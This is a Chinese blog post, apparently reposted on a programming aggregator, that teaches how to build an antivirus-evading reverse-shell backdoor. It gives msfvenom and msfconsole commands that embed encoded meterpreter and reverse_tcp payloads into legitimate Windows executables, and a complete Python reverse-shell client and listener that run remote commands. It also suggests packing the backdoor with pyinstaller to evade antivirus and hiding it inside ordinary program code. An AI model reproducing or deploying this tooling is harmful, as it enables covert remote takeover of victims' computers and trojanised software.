我是靠谱客的博主 飘逸芒果,最近开发中收集的这篇文章主要介绍Python安全之编写反弹连接‘免杀’后门前言:Msf后门工具:Python3反弹连接后门代码:使用方法:,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

前言:

平时使用工具制作免杀后门时,大大概率都会马上被杀软干掉。但是一次偶然的机会,使用msf生成一个raw格式的python后门没有被杀掉。于是就有了免杀思路,模仿msf生成的python代码手工写一个,然后用pyinstaller打包成exe,我亲测绝大部分杀软都不会杀。

Msf后门工具:

方法一msfconsole:

msf5 > use windows/shell/reverse_tcp
		msf5 payload(windows/shell/reverse_tcp) > set lhost 10.1.13.80
		msf5 payload(windows/shell/reverse_tcp) > show encoders
		msf5 payload(windows/shell/reverse_tcp) > generate -b 'x00xff' -f exe -e x86/shikata_ga_nai -i 8 -k -x /usr/share/windows-binaries/radmin.exe -o radmin.exe
参数说明:
			-b:去掉坏字符
			-f:输入格式
			-e:指定encoder
			-i:几轮编码
			-k:以线程形式运行
			-x:指定要附着的程序
			-o:输出

方法二msfvenom:

msfvenom -p windows/meterpreter/reverse_tcp -x /usr/share/windows-binaries/whoami.exe LHOST=10.1.13.202 LPORT=1234 -e x86/shikata_ga_nai -i 5 -a x86 --platform win -f exe -o /lee/houmen/whoami2.exe
msfvenom常用参数:
			-h:帮助
			--list payloads:查看可用的payload
			-p:指定payload
				--list-options:查看当前指定的payload的可用参数
			--list formats:查看可用的输出格式
			-f:指定输出格式
			--list archs:查看可用的架构
			-a:指定架构
			--list platforms:查看可用的平台
			--platform:指定平台
			-o:指定输出路径及文件名
			-b:指定坏字符
			-n:指定nop长度
			--encoder:查看可用的编码(加密)模块
			-e:指定编码(加密)方式
			-i:加密几轮

不过很遗憾,我几乎把参数用完了,结果还是被杀软干掉了。今天我们就用Python写一个反弹连接的后门吧。

Python3反弹连接后门代码:

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# @Time     :2020/1/3 9:53
# @Author   :Donvin.li
# @File     :backdoor_reverse.py

import sys  #用于获取命令行参数
import getopt   #用于获取命令行参数
import socket   #用于建立TCP连接
import subprocess   #用于返回操作系统命令
from threading import Thread    #用于多线程

#2、命令行参数获取及功能(函数)选择
def main():
    #2.1 开始获取参数
    help=False  #先要声明变量,否则假如命令行没有输入-h时,help变量不存在,会影响后面的判断
    listen=False
    try:
        opts,x=getopt.getopt(sys.argv[1:],'t:p:hl')    #命令行一共4个选项,l,h主要做判断,t,p传值
        for y,z in opts:
            if y=='-t':
                target=z
            elif y=='-p':
                port=int(z)
            elif y=='-h':
                help=True
            elif y=='-l':
                listen=True
            else:
                pass
    except:
        print('没有此参数,帮助信息:python3 backdoor_reverse.py -h')
        sys.exit()  #try主要用来捕捉异常,避免输入不存在的参数程序报错

    #2.2 开始根据捕捉的参数判断要执行的功能(函数)
    if help:
        usage()     #如果输入的是-h,执行帮助信息函数usage()
    elif listen:
        server_backdoor(port)    #如果输入的是-l,执行服务器端函数,服务器端需要一个参数port即可
    else:
        client_backdoor(target,port)    #如果是其它的,执行客户端函数,客户端需要两个参数target,port

#3、设计服务器端函数
def server_backdoor(port):
    server=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #创建socket对象
    server.bind(('0.0.0.0',port))   #监听地址及端口
    server.listen(10)   #开始监听10个客户端
    print('[*] 监听在:0.0.0.0 %d' % port)  #监听成功打印
    while True:
        client_socket, addr = server.accept()   #循环接受连接
        print('[*] Accept from %s:%d' % (addr[0], addr[1])) #连接成功打印

        t = Thread(target=command_send, args=(client_socket,))  #多线程启动command_send(client_socket)函数
        t.start()

def command_send(client_socket):
    while True:
        command = input('shell_>')  #接收输入
        command += 'n' #每次输入完的内容末尾加一个n
        client_socket.send(command.encode('utf-8')) #发送输入的值(操作系统命令)

        #由于每次接收4096个字节的数据,假如一些系统命令的输出数据大于4096,那么将会出现返回的数据没接收完就打印了部分信息
        #所以需要判断数据是否传完,传完才开始打印。
        rec_len = 1
        data = ''.encode('utf-8')
        while rec_len:
            response = client_socket.recv(4096) #每次接收4096个字节的数据
            rec_len = len(response) #每次接收都计算数据包大小
            data += response    #每接收一次数据(4096字节)追加到data变量
            if rec_len < 4096:  #当数据包小于4096时可判断是最后一次传数据,那么就可以结束循环(接收数据)
                break
        print(data.decode('gbk'), end='')   #接收完数据打印出来

def client_backdoor(target,port):
    client=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    client.connect((target,port))
    shell_send(client)

def shell_send(client):
    while True:
        cmd_buffer = ''.encode('utf-8')
        while b'n' not in cmd_buffer:
            response = client.recv(1024)
            #print(response)
            cmd_buffer += response
        cmd = cmd_buffer.decode()
        #print(cmd)
        try:
            out = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)    #这里是关键,就是讲系统命令用cmd传进来,并将结果赋给out
            client.send(out)
        except:
            client.send(b"Failed to execute command.rn")

#1、设计基本功能和帮助信息
def usage():
    print('基本功能: 客户端建立一个反弹连接,将自己执行系统命令的结果发送给服务器端')
    print('hlep info: python3 backdoor_reverse.py -h')
    print('Server端: python3 backdoor_reverse.py -lp [监听端口]')
    print('Client端: python3 backdoor_reverse.py -t [目标IP] -p [监听端口]')
    sys.exit()

if __name__=='__main__':
    main()

几乎每一行都注释了,不在一一解释了。不过它只是一个基本的功能,有太多的问题需要完善。这是服务端和客户端二合一的程序,现实中当然是分离的好。将服务器端的代码部分放在正常的程序代码中,就成为名副其实的后门了。

使用方法:

python3 backdoor_reverse.py -h	#查看帮助
python3 backdoor_reverse.py -lp 4444	#服务端(攻击者)监听端口等待客户端(受害者)连接
python3 backdoor_reverse.py -t 192.168.8.8 -p 4444	#连接远程端口

Python反弹连接后门

最后

以上就是飘逸芒果为你收集整理的Python安全之编写反弹连接‘免杀’后门前言:Msf后门工具:Python3反弹连接后门代码:使用方法:的全部内容,希望文章能够帮你解决Python安全之编写反弹连接‘免杀’后门前言:Msf后门工具:Python3反弹连接后门代码:使用方法:所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(63)

评论列表共有 0 条评论

立即
投稿
返回
顶部